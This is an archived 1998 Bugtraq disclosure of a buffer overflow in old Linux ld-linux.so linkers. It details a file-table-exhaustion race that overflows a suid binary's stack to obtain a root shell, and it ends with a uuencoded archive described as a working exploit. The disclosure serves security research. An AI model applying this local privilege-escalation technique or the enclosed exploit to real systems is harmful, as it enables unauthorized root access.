Date: Wed, 4 Feb 1998 17:20:39 +0100 From: Rafal Wojtczuk Subject: An old ld-linux.so hole Section I. Overview Hello, About a half year ago there was some rumour on bugtraq concerning a buffer overflow in Linux dynamic linkers, ld.so and ld-linux.so. You can take a look at the beginning of the thread at http://www.geek-girl.com/bugtraq/1997_3/0089.html to refresh old memories; I'll capitalize anyway. Briefly, there exists a buffer overrun in ld-linux.so versions 1.7.14, 1.8.2, 1.9.2 ( others <=1.9.2 probably too, I haven't tried ) . It occures in the procedure which formats an error message. The said procedure puts into a buffer argv[0], not checking its length. So, if we can force an error during dynamic linking of a suid program, we can smash the stack with argv[0] contents and gain extra priviledges. I haven't found anything on the net exploiting this vulnerability; as we'll see, it's not a trivial task. Worth an effort, though; enables us to rip a root shell out of any suid dynamically linked binary on the system ( sounds promising, doesn't it ). At the end of this message I enclosed a working exploit. Use it thougtfully. Anyway, it's a half-year-old hole, and everybody who installed latest version of linkers ( that is at least 1.9.5 ) cannot be hurt. I hope the enclosed exploit is interesting enough ( from theoretical point of view ) to be worth publishing, regardless of its being fairly outdated. Section II. Misc. 1) the said faulty procedure ( was it named fd_printf ? ) was copied almost verbatim from kernel function printk. In linux/kernel/printk.c line 161 we can find a tasty comment i = vsprintf(buf + 3, fmt, args); /* hopefully i < sizeof(buf)-4 */ In this case, buf is a static variable. In ld-linux.so buf is automatic. Oops... 2) as you surely know, ld-linux.so 1.9.2 is broken completely, as it deals with LD_PRELOAD variable even when linking a suid binary. An exploit based on this "feature" was composed by Dan McGuirk, I guess. In this article, we're not using this vulnerablity. 3) Julian Assange (proff@SUBURBIA.NET) mentioned on bugtraq that he was able to attack the linker with resource starvation ( for file descriptors ). I assume it was possible on a system with artificially lowered file descriptors limit; you can look at his a bit vague report at the URL mentioned at the beginning of this article. Anyway, the only thing in his article that resembles my approach is the keyword "resource starvation". Judge it yourself. Section III. General idea. To perform its job, dynamic linker must open a library file first. Let's try to prevent it. Section III.V :) Scenario 1. Before execing a suid program, we can use up all file descriptors available for a single process by simply opening any file 256-3 times ( descriptors 0,1,2 are open anyway ). But execve needs one unused descriptor to work - execve will fail, not giving ld-linux.so a chance to misbehave. Section IV. Scenario 2. We may create a race condition, gambling on the number of free file table entries. First, let's spawn 3 processes ( called eat_desc ) which will use up 256 descriptors each and sleep. Then we spawn simultaneosly another eat_desc and a program (called spawn.c ) which executes execl("/usr/bin/passwd",long_argv0,0). Of course we can utilize any other dynamically linked suid binary. Assuming that file table has 1024 entries ( default value ) the following scenario is possible: spawn.c executes /usr/bin/passwd. Immediately afterwards, a context switch occures, and the fourth eat_desc starts executing. It devours all remaining file table entries and goes to sleep. Another context switch and /usr/bin/passwd (formerly known as spawn.c ) executes. Dynamic linker cannot open /lib/libc.so.5 ( error: file table full ), cooks an error message, an overflows occures. Great. However, a standard shellcode is of no use in this case: we can't exec anything ( there is still no file table entries free ! ). Instead of giving up after first unsucesful exec, shellcode should first kill one of eat_desc processes, and then in a loop infinitely try to execute the program we wish to. This scenario is possible to accomplish ( I managed to once :) . Yet, it's ineffective. We can complicate it, assuring practically 100% success ratio. Section V. Scenario 3. Let's try to force a context switch immediately after spawn.c calls exec. spawn.c should open a file (called .lock ) receiving descriptor lock_fd and set a close-on-exec flag on it. Then spawn.c executes flock(lock_fd,LOCK_EX). Another program ( called noloop ) opens .lock and performs flock(noloop_fd,LOCK_EX) as well ( and goes to sleep). We also spawn a program called eat_time, which simply does for(;;);, generating some load on the machine. A great moment occures: spawn.c does execl("/usr/bin/passwd",long_arg0,0). As some load on the machine is imposed by eat_time, system call exec ( which is time-consuming) should use whole time quantum available for spawn.c ( now this process is passwd ),so a context switch is bound to happen. (If the attacked machine is extremely fast, we may need to spawn more then one eat_time to achieve this ). Noloop starts excuting. Spawn.c closed the descriptor lock_fd during exec it performed, so noloop can get out of flock it was sleeping on ( but not before spawn.c did exec - that's the trick). Now it's the time to devour all remaining file table entries. When control returns to passwd ( formerly known as spawn.c ), dynamic linker will generate an overflow. The rest resembles Scenario 2. Section VI. Additional notes to scenario 3 a) the whole scenario should be performed after we have used up almost all file table entries. 3 eat_desc should be spawned first, the fourth should devour all minus three entries. b) when noloop decides to eat remaining file table entries, it should first send SIGSTOP to passwd ( formerly known as spawn.c ). Then it can eat, not fearing a context switch. Finally, it sends SIGCONT to passwd. c) some synchronizing between noloop and spawn.c is neccessary - the latter should't exec /usr/bin/passwd before noloop has slept on the flock call. In my exploit it is done using signal SIGUSR1. Look at the code for details. d) scenario 3 won't work for linker version 1.7.3, which at the start does open("/dev/zero",O_RDONLY). It fails, but generated error message doesn't contain argv[0], so no overflow this time. Scenario 2 can work: context switch to the fourth eat_desc should happen after open("/dev/zero",...) call. Section VII. The exploit. Standard disclaimer applies. Probably it works best on an idle machine. More precidely, during the exploit execution the number of free file table entries should not be modified by any process other than eat*, noloop, spawn. You may need to change some default parameters, for instance the number of eat_time processes or eat_desc (the latter if your kernel file table size is greater then 1024 or the limit of file descriptors per process is less than 256 ). If the exploit doesn't work, you may experiment with DEFAULT_OFFSET in doit.sh Section VIII. Traditional closing unrelated mumbling One simple conclusion from the above musings - no buffer overflow is harmless. As usuall, I encourage any comments ( to be sent to nergal@icm.edu.pl ). I remind you that I'm still an unemployed student, which should be changed :) "That's all for now. I hope I managed to prove that exploiting buffer overflows should be an art." by now you should know this quotation. Save yourself, Nergal begin 644 linker-exploit.tgz M'XL(`%F2V#0``^U:_U/;RA'/K]9?L3%)8Q,A)'\#XOA-"9@,TP280.8U#:E' MED[V!4FGT4G8;B?_>W?O)&,"/%Y?!Y*VVDF0O+>WM[?:V_W<2;[@F26G3QZ2 M'-O>ZG;A"4"WM]4KKAVZ:MIJVP"]3J_GV%VGUP%PG':O_03L![6JH%QF;@KP M))TYW6V[T[E++N(RWIYIC'FW)J[`\/=C^^.QL='QR<#L\&MI&) MW)N"%0KOPK`VF9N-,AXQ^)-Q=OA^.#HYW!\\>VJL`0]@(?(4(M>;\IC1[TN6 M+B!P969"'GLBBEB<039E$(@P%#,>3R!$46/MFEK]PV?2PQ\G#FFW-F7BSF)X M=N+`L^L&HLSIR>ZO1R3V7=>6[KK*:M]D=>XP7VKS)1IZG_DR9"P!QV#>5,!A M`+'(IM0Z=9.$Q1+E4W!A-N4A,X'-DQ`7&_H%?_HF)"F3$O:R--S80]-B$0J1 MP#,U*>."AR%L[-#$^U?WK97[]LI]YTJ^?#:_]_F7'K&\AXLQ7/^]3N?N]=_K MZ/7?;3EV:\NA];^U5:W_1Z$U'GMA[C-X+3.?"VOZBW'%RF..W.N\P(NSD%C& MFL\"6C&[1Y]&'X:[^[MOW@U'!X?OAE#?9)FWF;A2SORZ$;D\;C2-?QHUCNN( MF_#5A(N^4:/5T>`P@'8?.+R&5K>+-R]?-HU:#5=EH_$5VP0NI,:-$4PX'GW8 M/SYZ]ZG9A,$`-IPFH/Y:+4A2'"1HH-DL34VH/^=0-X$W^]2:($^DC7I=_Z1! MO%!(UKAHTJ!7`HI[4PHVP+E-LG6K:.LVT78AFK@YBJG[;\!"R8AY@1/^BJQE MXS?CH9]_F7]_Y/J'5D^O?Z=GM]MMO?X[U?I_#+I:G&HY]ON/$G45_2P4N1=, M/O`8]^'_EN,4]=_NM;IJ_>-.H%K_CT%7^'^-S3TL.X!8'%&L!"Q;4L1N"&H? MH#%NG/NY-"'+TX3C-@_L_VA'_IZ3]_Y#5_][Z[SC=*_S?:745IVM7Z_\QZ-_&_Y)/,"G\ MIWL"XU)P'PA\8A+0^$-MDZ%Q+^"'7\!6($7K0'L0\3=H:S$G/D3\^.3]2NHQP" MC9292-0H2V_?UG/O^.CL^YZ4KE7/TG\M40_FU8J]6< MEFTOFX9OWY;\EMW97O*/CD_H1,6>[]B&H?(Z91\T>R2G+`P]X;//7V!@U,_G M;>=\[MGG\^T=O#K%M7T^'R.OU3V?]WIX/SZ?N\'YW&[A/Y;V,7>7E&-]QWB;>EV=>_1$$J-/=;L`$?=1I4=IKO3?;<070Z% M?(9R05#^+S)IO6]@TE44NPC-L2;12722BLF$,\K&,Y=.IP6,&;`Y\_(,T_*, M9U-@.?<'B*S@[YHH$1MY3$\+14(13RB3CYA,&E1)56TB0N0WB. M;>9SYL[K*P47^Z"*:P57\7V!-4S76G$YSH.56OO'RJ.2O5D>54RJ2G@P.AV> M'>R;H)IB[K&&LZ.K5,BR%Q(F_))!+B$2*2,8$'M8FJB4WUI-KX[D2M`;`);JC$>BI$ MAJXL#"3S4PR0#'=M9(_J!=J:#&<."MW87_"*+HEYE(@TH\B935D,C%YYJ'<7 M1FTBT$DS7$U]>C6\@<'H1Z<""J*>.QFZ/,H M8C['NW"AG&,L(T5/5K]8T5"G#)AO19I`EP6?5Q+.E[[FL\GD.CD#>Q_Y\?A[7]3,K5$U%'OKXC)EWH=[7 MV9@WT#JN%&E[Z#FC32HDUILJEE9?7]CZ]<5*=!'CY0`ZA*?7&Z6*ER^;].!U MN'P?D/1JX8M2AH-&+,*9-#`X32IYYK(>DI-PYEZRH$9XN6S`[L@/,>!SD M0HS`FWRM*RZ4849!90-T3D(=MGOAP\[QCWG M/ZU6URGP/]$6XG][JU>=_SP*#]V.JY19)V M8Y]P`M8R++*4G),\301!"A&'"\OX)'+$2C'XG/8CXYSJ?J;@1K@@_'')?02O M7HI((),*S!#(BRW#V!-1HK`(5L<]Q"9Y2FA/'67/W(5!AG#*[,N2N?STI(!D M^E.3/L(5F'@>;`AXQO&?Y2E>S`RR/",S=P.`$U M-)U?$CR9,(FV*DFA#>0CB@4*P%IS0O,,R!>=&@:%!=D9E\)EQ4:(C<'*H&G!)Y:9X.>IZLHD*D9E M,^5/-`VA::2B"W61AU&*OL=9?N4#8S$W,6#@$"Y8DNF045Z!PBL;&(X^N:78 M:QD>QEK(/4*EY$(5\@B38[730(\+L_BN"%+F,=J%**0*UY#J*X6=#8V=@SP, MZZI'1&[6FXJKKX^,\E,CO?N(U;!%'!IOSGXU-8ZG_G0ZAPM(#QC1#F7"](/1 MX-M44K3&U"@T65<#?LLX#.Y10<,2>&>I4O,"8T1B8*;+9BZ-XD,GRWA?]`SY M!8-ZRVZM;A9P*Y7BQF=65WLID48N[L:XVK4QS"QNIDX7C>7W23\Z45944445 M551111555%%%%5544445551111555%%%%5544445551111555%%%%554T4]$ *_P*/#@->`%```%54 ` end